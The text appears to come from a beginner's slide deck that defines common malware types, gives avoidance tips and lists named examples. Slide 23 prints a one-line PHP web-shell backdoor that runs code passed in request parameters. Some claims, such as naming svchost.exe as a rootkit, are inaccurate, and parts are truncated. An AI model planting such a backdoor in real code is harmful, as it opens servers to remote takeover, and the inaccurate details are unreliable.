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1MalwareWhat is: is any software used to disrupt computer operation, is a malicious software
2Types of malwaresAdware:. The least dangerous and most lucrative Malware. Adware displays ads on your computer.
3—Spyware:. Spyware is software that spies on you, tracking your internet activities in order to send advertising (Adware) back to your system.
4VirusVirus: A virus is a contagious program or code that attaches itself to another piece of software, and then reproduces itself when that software is run. Most often this is spread by sharing software or files between
5WormWorm: A program that replicates itself and destroys data and files on the computer. Worms work to “eat” the system operating files and data files until the drive is empty.
6TrojanTrojan: The most dangerous Malware. Trojans are written with the purpose of discovering your financial information, taking over your computer’s system resources, and in larger systems creating a “denial-of-service attack
7RootkitRootkit: It is designed to permit the other information gathering Malware in to get the identity information from your computer without you realizing anything is going on.
8BackdoorsBackdoors: Backdoors are much the same as Trojans or worms, except that they open a “backdoor” onto a computer, providing a network connection for hackers or other Malware to enter or for viruses or SPAM to be sent.
9KeyloggersKeyloggers: Records everything you type on your PC in order to glean your log-in names, passwords, and other sensitive information, and send it on to the source of the keylogging program.
10Rogue security software:Rogue security software: This one deceives or misleads users. It pretends to be a good program to remove Malware infections, but all the while it is the Malware.
11RansomwareRansomware: If you see this screen that warns you that you have been locked out of your computer until you pay for your cybercrimes. Your system is severely infected with a form of Malware called Ransomware
12tips to avoid AdwareUse Firefox: Internet Explorer is the most popular browser on the market, controlling over 50% of the market share. The virus and adware creators specifically look for exploitable vulnerabilities within IE because they know that they will receive the best return on investment. Your switch to Firefox prevents some adware from infecting your machine.
13Tips to avoid spyware and virusInstall quality antivirus
14Tips to avoid rootkidsNever go without Tripwire
Tripwire is designed to monitor changes in files/directories on a given configured system. One of a rootkit's primary purposes is to conceal malicious software. Oftentimes, they will do this by renaming files or folders or installing similarly named files/folders. You can detect such behavior at any time using a tool like Tripwire
15Tips to avoid backdoorso detect Backdoors securely, download SpyHunter's Backdoors Detection Tool.
SpyHunter spyware detection tool is only a scanner meant to assist you in detecting Backdoors and other threats. If you detect the presence of Backdoors on your PC,
16Tips to avoid keyloggersInstall anti-spyware programs The good news is that software makers have begun targeting keyloggers with new detection tools that uncover and destroy these and other forms of spyware from your computers. These products can range from $30-50 and up. Good anti-spyware will protect your computer against known viruses, worms, and keelogers
17Tips to avoid RansomwareTry to maintain activated firewall of its equipment
18Examples of spyware and adwareCydoor
19examples of virusVirus Conficker
20Examples of wormsILOVEYOU
21Example of trojansCarberp
22Examples of Rootkidssvchost.exe
23Examples of backdoorsif (isset($_REQUEST['FILE'])){$_FILE =$_REQUEST['12722f6d103997f30e9765d0153305']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));
24Examples of Rogue security software
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